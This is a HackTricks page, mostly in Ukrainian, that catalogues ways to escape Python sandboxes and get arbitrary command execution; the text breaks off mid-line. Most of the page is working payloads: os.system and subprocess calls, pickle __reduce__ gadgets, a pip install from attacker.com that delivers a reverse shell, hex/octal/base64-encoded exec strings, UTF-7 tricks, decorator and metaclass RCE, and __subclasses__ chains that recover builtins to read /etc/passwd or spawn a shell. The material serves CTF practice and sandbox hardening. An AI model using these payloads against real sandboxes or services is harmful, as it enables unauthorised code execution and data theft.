Bypass Python sandboxes

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Це деякі трюки для обходу захисту пісочниць Python та виконання довільних команд.

Бібліотеки виконання команд

Перше, що вам потрібно знати, це чи можете ви безпосередньо виконувати код з якоїсь вже імпортованої бібліотеки, або чи можете ви імпортувати будь-яку з цих бібліотек:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Пам'ятайте, що функції open та read можуть бути корисними для читання файлів всередині пісочниці python та для написання коду, який ви могли б виконати для обходу пісочниці.

Функція Python2 input() дозволяє виконувати python код перед тим, як програма зламається.

Python намагається завантажити бібліотеки з поточної директорії спочатку (наступна команда виведе, звідки python завантажує модулі): python3 -c 'import sys; print(sys.path)'

Обхід пісочниці pickle за допомогою стандартних встановлених пакетів python

Стандартні пакети

Ви можете знайти список попередньо встановлених пакетів тут: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html Зверніть увагу, що з pickle ви можете змусити python env імпортувати довільні бібліотеки, встановлені в системі. Наприклад, наступний pickle, при завантаженні, імпортує бібліотеку pip для її використання:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Для отримання додаткової інформації про те, як працює pickle, перегляньте це: https://checkoway.net/musings/pickle/

Pip пакет

Трюк, поділений @isHaacK

Якщо у вас є доступ до pip або pip.main(), ви можете встановити довільний пакет і отримати зворотний шелл, викликавши:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Ви можете завантажити пакет для створення зворотного шелу тут. Будь ласка, зверніть увагу, що перед використанням ви повинні розпакувати його, змінити setup.py і вказати свою IP-адресу для зворотного шелу:

1KB

Reverse.tar (1).gz

Цей пакет називається Reverse. Однак він був спеціально створений так, що коли ви виходите із зворотного шелу, решта установки зазнає невдачі, тому ви не залишите жодного додаткового python пакету встановленим на сервері після виходу.

Eval-ing python code

Зверніть увагу, що exec дозволяє багаторядкові рядки та ";", але eval - ні (перевірте оператор вальрус)

Якщо певні символи заборонені, ви можете використовувати hex/octal/B64 представлення, щоб обійти обмеження:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Інші бібліотеки, які дозволяють виконувати python код

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Оператори та короткі трюки

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassing protections through encodings (UTF-7)

У цьому звіті UFT-7 використовується для завантаження та виконання довільного python коду всередині очевидного пісочниці:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Також можливо обійти це, використовуючи інші кодування, наприклад, raw_unicode_escape та unicode_escape.

Виконання Python без викликів

Якщо ви знаходитесь у python в'язниці, яка не дозволяє вам робити виклики, все ще є кілька способів виконати довільні функції, код та команди.

RCE з декораторами

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE створення об'єктів та перевантаження

Якщо ви можете оголосити клас і створити об'єкт цього класу, ви можете написати/перезаписати різні методи, які можуть бути викликані без необхідності викликати їх безпосередньо.

RCE з користувацькими класами

Ви можете змінити деякі методи класу (перезаписуючи існуючі методи класу або створюючи новий клас), щоб вони виконували довільний код при виклику без безпосереднього виклику.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Створення об'єктів з метакласами

Ключова річ, яку дозволяють робити метакласи, це створити екземпляр класу, не викликаючи конструктор безпосередньо, створюючи новий клас з цільовим класом як метаклас.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Створення об'єктів з виключеннями

Коли виключення викликане, об'єкт Exception є створеним без необхідності викликати конструктор безпосередньо (трюк від @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Більше RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Прочитайте файл з допомогою вбудованих функцій та ліцензії

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

• Вбудовані функції python2

• Вбудовані функції python3

Якщо ви можете отримати доступ до об'єкта __builtins__, ви можете імпортувати бібліотеки (зверніть увагу, що ви також можете використовувати інше рядкове представлення, показане в останньому розділі):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

Коли у вас немає __builtins__, ви не зможете імпортувати нічого, а також не зможете читати або записувати файли, оскільки всі глобальні функції (як-от open, import, print...) не завантажені. Однак, за замовчуванням python імпортує багато модулів в пам'ять. Ці модулі можуть здаватися безпечними, але деякі з них також імпортують небезпечні функціональності всередині, до яких можна отримати доступ для отримання навіть випадкового виконання коду.

У наступних прикладах ви можете спостерігати, як зловживати деякими з цих "безпечних" модулів, завантажених для доступу до небезпечних функціональностей всередині них.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Нижче наведена більша функція для знаходження десятків/сотень місць, де ви можете знайти вбудовані.

Python2 та Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Вбудовані пейлоади

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Перевірка globals та locals є хорошим способом дізнатися, до чого ви можете отримати доступ.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Нижче наведена більша функція для знаходження десятків/сотень місць, де ви можете знайти globals.

Виявлення довільного виконання

Тут я хочу пояснити, як легко виявити більш небезпечні функціональності, що завантажуються, і запропонувати більш надійні експлойти.

Доступ до підкласів з обхідними шляхами

Одна з найчутливіших частин цієї техніки полягає в можливості доступу до базових підкласів. У попередніх прикладах це було зроблено за допомогою ''.__class__.__base__.__subclasses__(), але є інші можливі способи:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.c